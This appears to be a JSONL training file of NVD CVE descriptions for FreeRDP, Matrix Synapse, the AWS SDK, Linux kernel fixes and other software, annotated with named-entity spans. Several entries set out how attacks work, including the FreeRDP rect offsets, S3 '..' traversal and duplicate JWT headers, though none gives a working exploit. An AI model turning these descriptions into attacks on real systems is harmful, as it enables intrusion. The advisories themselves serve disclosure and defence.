{"text": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0, a client-side heap buffer overflow occurs in the FreeRDP client's AVC420/AVC444 YUV-to-RGB conversion path due to missing horizontal bounds validation of H.264 metablock regionRects coordinates.  In yuv.c, the clamp() function (line 347) only validates top/bottom against the surface/YUV height, but never checks left/right against the surface width. When avc420_yuv_to_rgb (line 67) computes destination and source pointers using rect->left, it performs unchecked pointer arithmetic that can reach far beyond the allocated surface buffer. A malicious server sends a WIRE_TO_SURFACE_PDU_1 with AVC420 codec containing a regionRects entry where left greatly exceeds the surface width (e.g., left=60000 on a 128px surface). The H.264 bitstream decodes successfully, then yuv420_process_work_callback calls avc420_yuv_to_rgb which computes pDstPoint = pDstData + rect->top * nDstStep + rect->left * 4, writing 16-byte SSE vectors 1888+ bytes past the allocated heap region. This vulnerability is fixed in 3.24.0.", "spans": {"FILEPATH: yuv.c": [[281, 286]], "VULNERABILITY: buffer overflow": [[101, 116]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-29774"}}
{"text": "AuthRestServlet in Matrix Synapse before 1.21.0 is vulnerable to XSS due to unsafe interpolation of the session GET parameter. This allows a remote attacker to execute an XSS attack on the domain Synapse is hosted on, by supplying the victim user with a malicious URL to the /_matrix/client/r0/auth/*/fallback/web or /_matrix/client/unstable/auth/*/fallback/web Synapse endpoints.", "spans": {"FILEPATH: /_matrix/client/r0/auth": [[275, 298]], "FILEPATH: /fallback/web": [[300, 313], [348, 361]], "FILEPATH: /_matrix/client/unstable/auth": [[317, 346]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26891"}}
{"text": "The AWS SDK for Java enables Java developers to work with Amazon Web Services. A partial-path traversal issue exists within the `downloadDirectory` method in the AWS S3 TransferManager component of the AWS SDK for Java v1 prior to version 1.12.261. Applications using the SDK control the `destinationDirectory` argument, but S3 object keys are determined by the application that uploaded the objects. The `downloadDirectory` method allows the caller to pass a filesystem object in the object key but contained an issue in the validation logic for the key name. A knowledgeable actor could bypass the validation logic by including a UNIX double-dot in the bucket key. Under certain conditions, this could permit them to retrieve a directory from their S3 bucket that is one level up in the filesystem from their working directory. This issue’s scope is limited to directories whose name prefix matches the destinationDirectory. E.g. for destination directory`/tmp/foo`, the actor can cause a download to `/tmp/foo-bar`, but not `/tmp/bar`. If `com.amazonaws.services.s3.transfer.TransferManager::downloadDirectory` is used to download an untrusted buckets contents, the contents of that bucket can be written outside of the intended destination directory. Version 1.12.261 contains a patch for this issue. As a workaround, when calling `com.amazonaws.services.s3.transfer.TransferManager::downloadDirectory`, pass a `KeyFilter` that forbids `S3ObjectSummary` objects that `getKey` method return a string containing the substring `..` .", "spans": {"FILEPATH: /tmp/foo": [[958, 966]], "FILEPATH: /tmp/foo-bar": [[1004, 1016]], "FILEPATH: /tmp/bar": [[1028, 1036]], "SYSTEM: Java": [[16, 20], [29, 33], [214, 218]], "ORGANIZATION: Amazon": [[58, 64]], "ORGANIZATION: AWS": [[4, 7], [162, 165], [202, 205]], "VULNERABILITY: path traversal": [[89, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31159"}}
{"text": "An Allocation of Resources Without Limits or Throttling and a Missing Release of Memory after Effective Lifetime vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a locally authenticated low privileged attacker to cause a Denial of Sevice (DoS). In a high-scaled BGP routing environment with rib-sharding enabled, two issues may occur when executing a specific CLI command. One is a memory leak issue with rpd where the leak rate is not constant, and the other is a temporary spike in rpd memory usage during command execution. This issue affects: Juniper Networks Junos OS 19.4 versions prior to 19.4R3-S9; 20.2 versions prior to 20.2R3-S5; 20.3 versions prior to 20.3R3-S2; 20.4 versions prior to 20.4R3-S1; 21.1 versions prior to 21.1R3; 21.2 versions prior to 21.2R1-S2, 21.2R2-S1, 21.2R3; 21.3 versions prior to 21.3R2. Juniper Networks Junos OS Evolved All versions prior to 20.4R3-S1-EVO; 21.1-EVO version 21.1R1-EVO and later versions; 21.2-EVO versions prior to 21.2R1-S2-EVO, 21.2R3-EVO; 21.3-EVO versions prior to 21.3R2-EVO. This issue does not affect Juniper Networks Junos OS versions prior to 19.2R1.", "spans": {"ORGANIZATION: Juniper": [[167, 174], [606, 613], [883, 890], [1122, 1129]], "VULNERABILITY: memory leak": [[441, 452]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22240"}}
{"text": "Apache DB DdlUtils 1.0 included a BinaryObjectsHelper that was intended for use when migrating database data with a SQL data type of BINARY, VARBINARY, LONGVARBINARY, or BLOB between databases using the ddlutils features. The BinaryObjectsHelper class was insecure and used ObjectInputStream.readObject without validating that the input data was safe to deserialize. Please note that DdlUtils is no longer being actively developed. To address the insecurity of the BinaryObjectHelper class, the following changes to DdlUtils have been made: (1) BinaryObjectsHelper.java has been deleted from the DdlUtils source repository and the DdlUtils feature of propagating data of SQL binary types is therefore no longer present in DdlUtils; (2) The ddlutils-1.0 release has been removed from the Apache Release Distribution Infrastructure; (3) The DdlUtils web site has been updated to indicate that DdlUtils is now available only as source code, not as a packaged release.", "spans": {"FILEPATH: BinaryObjectsHelper.java": [[545, 569]], "ORGANIZATION: Apache": [[0, 6], [787, 793]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41616"}}
{"text": "Pannellum is a lightweight, free, and open source panorama viewer for the web. In versions 3.5.0 through 2.5.6, the hot spot attributes configuration property allowed any attribute to be set, including HTML event handler attributes, allowing for potential XSS attacks. This affects websites hosting the standalone viewer HTML file and any other use of untrusted JSON config files (bypassing the protections of the escapeHTML parameter). As certain events fire without any additional user interaction, visiting a standalone viewer URL that points to a malicious config file — without additional user interaction — is sufficient to trigger the vulnerability and execute arbitrary JavaScript code, which can, for example, replace the contents of the page with arbitrary content and make it appear to be hosted by the website hosting the standalone viewer HTML file. This issue has been fixed in version 2.5.7. To workaround, setting the Content-Security-Policy header to script-src-attr 'none' will block execution of inline event handlers, mitigating this vulnerability. Don't host pannellum.htm on a domain that shares cookies with user authentication to mitigate XSS risk.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27210"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: convert inline data to extents when truncate exceeds inline size\n\nAdd a check in ext4_setattr() to convert files from inline data storage\nto extent-based storage when truncate() grows the file size beyond the\ninline capacity. This prevents the filesystem from entering an\ninconsistent state where the inline data flag is set but the file size\nexceeds what can be stored inline.\n\nWithout this fix, the following sequence causes a kernel BUG_ON():\n\n1. Mount filesystem with inode that has inline flag set and small size\n2. truncate(file, 50MB) - grows size but inline flag remains set\n3. sendfile() attempts to write data\n4. ext4_write_inline_data() hits BUG_ON(write_size > inline_capacity)\n\nThe crash occurs because ext4_write_inline_data() expects inline storage\nto accommodate the write, but the actual inline capacity (~60 bytes for\ni_block + ~96 bytes for xattrs) is far smaller than the file size and\nwrite request.\n\nThe fix checks if the new size from setattr exceeds the inode's actual\ninline capacity (EXT4_I(inode)->i_inline_size) and converts the file to\nextent-based storage before proceeding with the size change.\n\nThis addresses the root cause by ensuring the inline data flag and file\nsize remain consistent during truncate operations.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31452"}}
{"text": "snowflake-connector-nodejs, a NodeJS driver for Snowflake, is vulnerable to command injection via single sign on (SSO) browser URL authentication in versions prior to 1.6.21. In order to exploit the potential for command injection, an attacker would need to be successful in (1) establishing a malicious resource and (2) redirecting users to utilize the resource. The attacker could set up a malicious, publicly accessible server which responds to the SSO URL with an attack payload. If the attacker then tricked a user into visiting the maliciously crafted connection URL, the user’s local machine would render the malicious payload, leading to a remote code execution. This attack scenario can be mitigated through URL whitelisting as well as common anti-phishing resources. Version 1.6.21 contains a patch for this issue.", "spans": {"VULNERABILITY: remote code execution": [[648, 669]], "VULNERABILITY: command injection": [[76, 93], [213, 230]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34232"}}
{"text": "vscode-spell-checker is a basic spell checker that works well with code and documents. Prior to v4.5.4, DocumentSettings._determineIsTrusted treats the configuration value cSpell.trustedWorkspace as the authoritative trust flag. The value defaults to true (package.json) and is read from workspace configuration each time settings are fetched. The code coerces any truthy value to true and forwards it to ConfigLoader.setIsTrusted , which in turn allows JavaScript/TypeScript configuration files ( .cspell.config.js/.mjs/.ts , etc.) to be located and executed. Because no VS Code workspace-trust state is consulted, an untrusted workspace can keep the flag true and place a malicious .cspell.config.js ; opening the workspace causes the extension host to execute attacker-controlled Node.js code with the user’s privileges. This vulnerability is fixed in v4.5.4.", "spans": {"FILEPATH: /.mjs/.ts": [[515, 524]], "FILEPATH: package.json": [[257, 269]], "FILEPATH: config.js": [[506, 515], [692, 701]], "FILEPATH: Node.js": [[783, 790]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25931"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: appleir: Fix potential NULL dereference at raw event handle\n\nSyzkaller reports a NULL pointer dereference issue in input_event().\n\nBUG: KASAN: null-ptr-deref in instrument_atomic_read include/linux/instrumented.h:68 [inline]\nBUG: KASAN: null-ptr-deref in _test_bit include/asm-generic/bitops/instrumented-non-atomic.h:141 [inline]\nBUG: KASAN: null-ptr-deref in is_event_supported drivers/input/input.c:67 [inline]\nBUG: KASAN: null-ptr-deref in input_event+0x42/0xa0 drivers/input/input.c:395\nRead of size 8 at addr 0000000000000028 by task syz-executor199/2949\n\nCPU: 0 UID: 0 PID: 2949 Comm: syz-executor199 Not tainted 6.13.0-rc4-syzkaller-00076-gf097a36ef88d #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nCall Trace:\n <IRQ>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120\n kasan_report+0xd9/0x110 mm/kasan/report.c:602\n check_region_inline mm/kasan/generic.c:183 [inline]\n kasan_check_range+0xef/0x1a0 mm/kasan/generic.c:189\n instrument_atomic_read include/linux/instrumented.h:68 [inline]\n _test_bit include/asm-generic/bitops/instrumented-non-atomic.h:141 [inline]\n is_event_supported drivers/input/input.c:67 [inline]\n input_event+0x42/0xa0 drivers/input/input.c:395\n input_report_key include/linux/input.h:439 [inline]\n key_down drivers/hid/hid-appleir.c:159 [inline]\n appleir_raw_event+0x3e5/0x5e0 drivers/hid/hid-appleir.c:232\n __hid_input_report.constprop.0+0x312/0x440 drivers/hid/hid-core.c:2111\n hid_ctrl+0x49f/0x550 drivers/hid/usbhid/hid-core.c:484\n __usb_hcd_giveback_urb+0x389/0x6e0 drivers/usb/core/hcd.c:1650\n usb_hcd_giveback_urb+0x396/0x450 drivers/usb/core/hcd.c:1734\n dummy_timer+0x17f7/0x3960 drivers/usb/gadget/udc/dummy_hcd.c:1993\n __run_hrtimer kernel/time/hrtimer.c:1739 [inline]\n __hrtimer_run_queues+0x20a/0xae0 kernel/time/hrtimer.c:1803\n hrtimer_run_softirq+0x17d/0x350 kernel/time/hrtimer.c:1820\n handle_softirqs+0x206/0x8d0 kernel/softirq.c:561\n __do_softirq kernel/softirq.c:595 [inline]\n invoke_softirq kernel/softirq.c:435 [inline]\n __irq_exit_rcu+0xfa/0x160 kernel/softirq.c:662\n irq_exit_rcu+0x9/0x30 kernel/softirq.c:678\n instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1049 [inline]\n sysvec_apic_timer_interrupt+0x90/0xb0 arch/x86/kernel/apic/apic.c:1049\n </IRQ>\n <TASK>\n asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:702\n __mod_timer+0x8f6/0xdc0 kernel/time/timer.c:1185\n add_timer+0x62/0x90 kernel/time/timer.c:1295\n schedule_timeout+0x11f/0x280 kernel/time/sleep_timeout.c:98\n usbhid_wait_io+0x1c7/0x380 drivers/hid/usbhid/hid-core.c:645\n usbhid_init_reports+0x19f/0x390 drivers/hid/usbhid/hid-core.c:784\n hiddev_ioctl+0x1133/0x15b0 drivers/hid/usbhid/hiddev.c:794\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:906 [inline]\n __se_sys_ioctl fs/ioctl.c:892 [inline]\n __x64_sys_ioctl+0x190/0x200 fs/ioctl.c:892\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n </TASK>\n\nThis happens due to the malformed report items sent by the emulated device\nwhich results in a report, that has no fields, being added to the report list.\nDue to this appleir_input_configured() is never called, hidinput_connect()\nfails which results in the HID_CLAIMED_INPUT flag is not being set. However,\nit  does not make appleir_probe() fail and lets the event callback to be\ncalled without the associated input device.\n\nThus, add a check for the HID_CLAIMED_INPUT flag and leave the event hook\nearly if the driver didn't claim any input_dev for some reason. Moreover,\nsome other hid drivers accessing input_dev in their event callbacks do have\nsimilar checks, too.\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller.", "spans": {"DOMAIN: linuxtesting.org": [[3836, 3852]], "FILEPATH: /linux/instrumented.h": [[265, 286], [1123, 1144]], "FILEPATH: /asm-generic/bitops/instrumented-non-atomic.h": [[346, 391], [1175, 1220]], "FILEPATH: /input/input.c": [[461, 475], [547, 561], [1261, 1275], [1318, 1332]], "FILEPATH: /13/2024": [[819, 827]], "FILEPATH: /kasan/report.c": [[966, 981]], "FILEPATH: /kasan/generic.c": [[1009, 1025], [1071, 1087]], "FILEPATH: /linux/input.h": [[1362, 1376]], "FILEPATH: /hid/hid-appleir.c": [[1407, 1425], [1477, 1495]], "FILEPATH: /hid/hid-core.c": [[1551, 1566]], "FILEPATH: /hid/usbhid/hid-core.c": [[1601, 1623], [2661, 2683], [2728, 2750]], "FILEPATH: /usb/core/hcd.c": [[1671, 1686], [1733, 1748]], "FILEPATH: /usb/gadget/udc/dummy_hcd.c": [[1788, 1815]], "FILEPATH: /time/hrtimer.c": [[1842, 1857], [1912, 1927], [1972, 1987]], "FILEPATH: /x86/kernel/apic/apic.c": [[2264, 2287], [2345, 2368]], "FILEPATH: /x86/include/asm/idtentry.h": [[2437, 2464]], "FILEPATH: /time/timer.c": [[2500, 2513], [2546, 2559]], "FILEPATH: /time/sleep_timeout.c": [[2601, 2622]], "FILEPATH: /hid/usbhid/hiddev.c": [[2790, 2810]], "FILEPATH: /x86/entry/common.c": [[2993, 3012], [3055, 3074]], "FILEPATH: dump_stack.c": [[865, 877], [922, 934]], "FILEPATH: softirq.c": [[2029, 2038], [2064, 2073], [2110, 2119], [2167, 2176], [2211, 2220]], "FILEPATH: ioctl.c": [[2829, 2836], [2868, 2875], [2908, 2915], [2961, 2968]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[3809, 3814]], "ORGANIZATION: Google": [[753, 759], [760, 766], [782, 788], [810, 816]], "VULNERABILITY: NULL pointer dereference": [[155, 179]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21948"}}
{"text": "anuko/timetracker is an, open source time tracking system. In affected versions Time Tracker uses browser_today hidden control on a few pages to collect the today's date from user browsers. Because of not checking this parameter for sanity in versions prior to 1.19.30.5601, it was possible to craft an html form with malicious JavaScript, use social engineering to convince logged on users to execute a POST from such form, and have the attacker-supplied JavaScript to be executed in user's browser. This has been patched in version 1.19.30.5600. Upgrade is recommended. If it is not practical, introduce ttValidDbDateFormatDate function as in the latest version and add a call to it within the access checks block.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41156"}}
{"text": "Extensible Service Proxy, a.k.a. ESP is a proxy which enables API management capabilities for JSON/REST or gRPC API services. ESPv1 can be configured to authenticate a JWT token. Its verified JWT claim is passed to the application by HTTP header \"X-Endpoint-API-UserInfo\", the application can use it to do authorization. But if there are two \"X-Endpoint-API-UserInfo\" headers from the client, ESPv1 only replaces the first one, the 2nd one will be passed to the application. An attacker can send two \"X-Endpoint-API-UserInfo\" headers, the second one with a fake JWT claim. Application may use the fake JWT claim to do the authorization. This impacts following ESPv1 usages: 1) Users have configured ESPv1 to do JWT authentication with Google ID Token as described in the referenced google endpoint document. 2) Users backend application is using the info in the \"X-Endpoint-API-UserInfo\" header to do the authorization. It has been fixed by v1.58.0. You need to patch it in the following ways: * If your docker image is using tag \":1\", needs to re-start the container to pick up the new version. The tag \":1\" will automatically point to the latest version. * If your docker image tag pings to a specific minor version, e.g. \":1.57\". You need to update it to \":1.58\" and re-start the container. There are no workaround for this issue.", "spans": {"ORGANIZATION: Google": [[735, 741]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41130"}}
{"text": "Vulnerability in the Primavera P6 Enterprise Project Portfolio Management product of Oracle Construction and Engineering (component: Core). Supported versions that are affected are 16.2.0.0-16.2.19.0, 17.12.0.0-17.12.16.0, 18.8.0.0-18.8.16.0, 19.12.0.0 and 20.1.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Primavera P6 Enterprise Project Portfolio Management executes to compromise Primavera P6 Enterprise Project Portfolio Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Primavera P6 Enterprise Project Portfolio Management, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Primavera P6 Enterprise Project Portfolio Management accessible data as well as unauthorized read access to a subset of Primavera P6 Enterprise Project Portfolio Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Primavera P6 Enterprise Project Portfolio Management. CVSS 3.0 Base Score 7.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L).", "spans": {"IP_ADDRESS: 16.2.0.0": [[181, 189]], "IP_ADDRESS: 16.2.19.0": [[190, 199]], "IP_ADDRESS: 17.12.0.0": [[201, 210]], "IP_ADDRESS: 17.12.16.0": [[211, 221]], "IP_ADDRESS: 18.8.0.0": [[223, 231]], "IP_ADDRESS: 18.8.16.0": [[232, 241]], "IP_ADDRESS: 19.12.0.0": [[243, 252]], "IP_ADDRESS: 20.1.0.0": [[257, 265]], "ORGANIZATION: Oracle": [[85, 91]], "VULNERABILITY: denial of service": [[1092, 1109]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2556"}}
{"text": "A vulnerability was found in FreePBX cdr 14.0. It has been classified as critical. This affects the function ajaxHandler of the file ucp/Cdr.class.php. The manipulation of the argument limit/offset leads to sql injection. Upgrading to version 14.0.5.21 is able to address this issue. The name of the patch is f1a9eea2dfff30fb99d825bac194a676a82b9ec8. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216771.", "spans": {"IP_ADDRESS: 14.0.5.21": [[243, 252]], "HASH: f1a9eea2dfff30fb99d825bac194a676a82b9ec8": [[309, 349]], "FILEPATH: class.php": [[141, 150]], "VULNERABILITY: sql injection": [[207, 220]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36630"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock: fix rq-qos breakage from skipping rq_qos_done_bio()\n\na647a524a467 (\"block: don't call rq_qos_ops->done_bio if the bio isn't\ntracked\") made bio_endio() skip rq_qos_done_bio() if BIO_TRACKED is not set.\nWhile this fixed a potential oops, it also broke blk-iocost by skipping the\ndone_bio callback for merged bios.\n\nBefore, whether a bio goes through rq_qos_throttle() or rq_qos_merge(),\nrq_qos_done_bio() would be called on the bio on completion with BIO_TRACKED\ndistinguishing the former from the latter. rq_qos_done_bio() is not called\nfor bios which wenth through rq_qos_merge(). This royally confuses\nblk-iocost as the merged bios never finish and are considered perpetually\nin-flight.\n\nOne reliably reproducible failure mode is an intermediate cgroup geting\nstuck active preventing its children from being activated due to the\nleaf-only rule, leading to loss of control. The following is from\nresctl-bench protection scenario which emulates isolating a web server like\nworkload from a memory bomb run on an iocost configuration which should\nyield a reasonable level of protection.\n\n  # cat /sys/block/nvme2n1/device/model\n  Samsung SSD 970 PRO 512GB\n  # cat /sys/fs/cgroup/io.cost.model\n  259:0 ctrl=user model=linear rbps=834913556 rseqiops=93622 rrandiops=102913 wbps=618985353 wseqiops=72325 wrandiops=71025\n  # cat /sys/fs/cgroup/io.cost.qos\n  259:0 enable=1 ctrl=user rpct=95.00 rlat=18776 wpct=95.00 wlat=8897 min=60.00 max=100.00\n  # resctl-bench -m 29.6G -r out.json run protection::scenario=mem-hog,loops=1\n  ...\n  Memory Hog Summary\n  ==================\n\n  IO Latency: R p50=242u:336u/2.5m p90=794u:1.4m/7.5m p99=2.7m:8.0m/62.5m max=8.0m:36.4m/350m\n              W p50=221u:323u/1.5m p90=709u:1.2m/5.5m p99=1.5m:2.5m/9.5m max=6.9m:35.9m/350m\n\n  Isolation and Request Latency Impact Distributions:\n\n                min   p01   p05   p10   p25   p50   p75   p90   p95   p99   max  mean stdev\n  isol%       15.90 15.90 15.90 40.05 57.24 59.07 60.01 74.63 74.63 90.35 90.35 58.12 15.82\n  lat-imp%        0     0     0     0     0  4.55 14.68 15.54 233.5 548.1 548.1 53.88 143.6\n\n  Result: isol=58.12:15.82% lat_imp=53.88%:143.6 work_csv=100.0% missing=3.96%\n\nThe isolation result of 58.12% is close to what this device would show\nwithout any IO control.\n\nFix it by introducing a new flag BIO_QOS_MERGED to mark merged bios and\ncalling rq_qos_done_bio() on them too. For consistency and clarity, rename\nBIO_TRACKED to BIO_QOS_THROTTLED. The flag checks are moved into\nrq_qos_done_bio() so that it's next to the code paths that set the flags.\n\nWith the patch applied, the above same benchmark shows:\n\n  # resctl-bench -m 29.6G -r out.json run protection::scenario=mem-hog,loops=1\n  ...\n  Memory Hog Summary\n  ==================\n\n  IO Latency: R p50=123u:84.4u/985u p90=322u:256u/2.5m p99=1.6m:1.4m/9.5m max=11.1m:36.0m/350m\n              W p50=429u:274u/995u p90=1.7m:1.3m/4.5m p99=3.4m:2.7m/11.5m max=7.9m:5.9m/26.5m\n\n  Isolation and Request Latency Impact Distributions:\n\n                min   p01   p05   p10   p25   p50   p75   p90   p95   p99   max  mean stdev\n  isol%       84.91 84.91 89.51 90.73 92.31 94.49 96.36 98.04 98.71 100.0 100.0 94.42  2.81\n  lat-imp%        0     0     0     0     0  2.81  5.73 11.11 13.92 17.53 22.61  4.10  4.68\n\n  Result: isol=94.42:2.81% lat_imp=4.10%:4.68 work_csv=58.34% missing=0%", "spans": {"FILEPATH: /sys/block/nvme2n1/device/model": [[1169, 1200]], "FILEPATH: /sys/fs/cgroup/io.cost.model": [[1237, 1265]], "FILEPATH: /sys/fs/cgroup/io.cost.qos": [[1398, 1424]], "FILEPATH: out.json": [[1545, 1553], [2713, 2721]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Samsung": [[1203, 1210]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49266"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nIB/hfi1: Fix sdma.h tx->num_descs off-by-one error\n\nUnfortunately the commit `fd8958efe877` introduced another error\ncausing the `descs` array to overflow. This reults in further crashes\neasily reproducible by `sendmsg` system call.\n\n[ 1080.836473] general protection fault, probably for non-canonical address 0x400300015528b00a: 0000 [#1] PREEMPT SMP PTI\n[ 1080.869326] RIP: 0010:hfi1_ipoib_build_ib_tx_headers.constprop.0+0xe1/0x2b0 [hfi1]\n--\n[ 1080.974535] Call Trace:\n[ 1080.976990]  <TASK>\n[ 1081.021929]  hfi1_ipoib_send_dma_common+0x7a/0x2e0 [hfi1]\n[ 1081.027364]  hfi1_ipoib_send_dma_list+0x62/0x270 [hfi1]\n[ 1081.032633]  hfi1_ipoib_send+0x112/0x300 [hfi1]\n[ 1081.042001]  ipoib_start_xmit+0x2a9/0x2d0 [ib_ipoib]\n[ 1081.046978]  dev_hard_start_xmit+0xc4/0x210\n--\n[ 1081.148347]  __sys_sendmsg+0x59/0xa0\n\ncrash> ipoib_txreq 0xffff9cfeba229f00\nstruct ipoib_txreq {\n  txreq = {\n    list = {\n      next = 0xffff9cfeba229f00,\n      prev = 0xffff9cfeba229f00\n    },\n    descp = 0xffff9cfeba229f40,\n    coalesce_buf = 0x0,\n    wait = 0xffff9cfea4e69a48,\n    complete = 0xffffffffc0fe0760 <hfi1_ipoib_sdma_complete>,\n    packet_len = 0x46d,\n    tlen = 0x0,\n    num_desc = 0x0,\n    desc_limit = 0x6,\n    next_descq_idx = 0x45c,\n    coalesce_idx = 0x0,\n    flags = 0x0,\n    descs = {{\n        qw = {0x8024000120dffb00, 0x4}  # SDMA_DESC0_FIRST_DESC_FLAG (bit 63)\n      }, {\n        qw = {  0x3800014231b108, 0x4}\n      }, {\n        qw = { 0x310000e4ee0fcf0, 0x8}\n      }, {\n        qw = {  0x3000012e9f8000, 0x8}\n      }, {\n        qw = {  0x59000dfb9d0000, 0x8}\n      }, {\n        qw = {  0x78000e02e40000, 0x8}\n      }}\n  },\n  sdma_hdr =  0x400300015528b000,  <<< invalid pointer in the tx request structure\n  sdma_status = 0x0,                   SDMA_DESC0_LAST_DESC_FLAG (bit 62)\n  complete = 0x0,\n  priv = 0x0,\n  txq = 0xffff9cfea4e69880,\n  skb = 0xffff9d099809f400\n}\n\nIf an SDMA send consists of exactly 6 descriptors and requires dword\npadding (in the 7th descriptor), the sdma_txreq descriptor array is not\nproperly expanded and the packet will overflow into the container\nstructure. This results in a panic when the send completion runs. The\nexact panic varies depending on what elements of the container structure\nget corrupted. The fix is to use the correct expression in\n_pad_sdma_tx_descs() to test the need to expand the descriptor array.\n\nWith this patch the crashes are no longer reproducible and the machine is\nstable.", "spans": {"FILEPATH: sdma.h": [[82, 88]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26766"}}
{"text": "SiYuan is a personal knowledge management system. Versions prior to 3.5.4 contain a logic vulnerability in the /api/file/globalCopyFiles endpoint. The function allows authenticated users to copy files from any location on the server's filesystem into the application's workspace without proper path validation. The vulnerability exists in the api/file.go source code. The function globalCopyFiles accepts a list of source paths (srcs) from the JSON request body. While the code checks if the source file exists using filelock.IsExist(src), it fails to validate whether the source path resides within the authorized workspace directory. Version 3.5.4 patches the issue.", "spans": {"FILEPATH: /api/file/globalCopyFiles": [[111, 136]], "FILEPATH: file.go": [[347, 354]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23851"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: x_tables: fix percpu counter block leak on error path when creating new netns\n\nHere is the stack where we allocate percpu counter block:\n\n  +-< __alloc_percpu\n    +-< xt_percpu_counter_alloc\n      +-< find_check_entry # {arp,ip,ip6}_tables.c\n        +-< translate_table\n\nAnd it can be leaked on this code path:\n\n  +-> ip6t_register_table\n    +-> translate_table # allocates percpu counter block\n    +-> xt_register_table # fails\n\nthere is no freeing of the counter block on xt_register_table fail.\nNote: xt_percpu_counter_free should be called to free it like we do in\ndo_replace through cleanup_entry helper (or in __ip6t_unregister_table).\n\nProbability of hitting this error path is low AFAICS (xt_register_table\ncan only return ENOMEM here, as it is not replacing anything, as we are\ncreating new netns, and it is hard to imagine that all previous\nallocations succeeded and after that one in xt_register_table failed).\nBut it's worth fixing even the rare leak.", "spans": {"FILEPATH: _tables.c": [[312, 321]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53200"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix memory leak in __add_inode_ref()\n\nLine 1169 (#3) allocates a memory chunk for victim_name by kmalloc(),\nbut  when the function returns in line 1184 (#4) victim_name allocated\nby line 1169 (#3) is not freed, which will lead to a memory leak.\nThere is a similar snippet of code in this function as allocating a memory\nchunk for victim_name in line 1104 (#1) as well as releasing the memory\nin line 1116 (#2).\n\nWe should kfree() victim_name when the return value of backref_in_log()\nis less than zero and before the function returns in line 1184 (#4).\n\n1057 static inline int __add_inode_ref(struct btrfs_trans_handle *trans,\n1058 \t\t\t\t  struct btrfs_root *root,\n1059 \t\t\t\t  struct btrfs_path *path,\n1060 \t\t\t\t  struct btrfs_root *log_root,\n1061 \t\t\t\t  struct btrfs_inode *dir,\n1062 \t\t\t\t  struct btrfs_inode *inode,\n1063 \t\t\t\t  u64 inode_objectid, u64 parent_objectid,\n1064 \t\t\t\t  u64 ref_index, char *name, int namelen,\n1065 \t\t\t\t  int *search_done)\n1066 {\n\n1104 \tvictim_name = kmalloc(victim_name_len, GFP_NOFS);\n\t// #1: kmalloc (victim_name-1)\n1105 \tif (!victim_name)\n1106 \t\treturn -ENOMEM;\n\n1112\tret = backref_in_log(log_root, &search_key,\n1113\t\t\tparent_objectid, victim_name,\n1114\t\t\tvictim_name_len);\n1115\tif (ret < 0) {\n1116\t\tkfree(victim_name); // #2: kfree (victim_name-1)\n1117\t\treturn ret;\n1118\t} else if (!ret) {\n\n1169 \tvictim_name = kmalloc(victim_name_len, GFP_NOFS);\n\t// #3: kmalloc (victim_name-2)\n1170 \tif (!victim_name)\n1171 \t\treturn -ENOMEM;\n\n1180 \tret = backref_in_log(log_root, &search_key,\n1181 \t\t\tparent_objectid, victim_name,\n1182 \t\t\tvictim_name_len);\n1183 \tif (ret < 0) {\n1184 \t\treturn ret; // #4: missing kfree (victim_name-2)\n1185 \t} else if (!ret) {\n\n1241 \treturn 0;\n1242 }", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[80, 91], [308, 319]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47585"}}
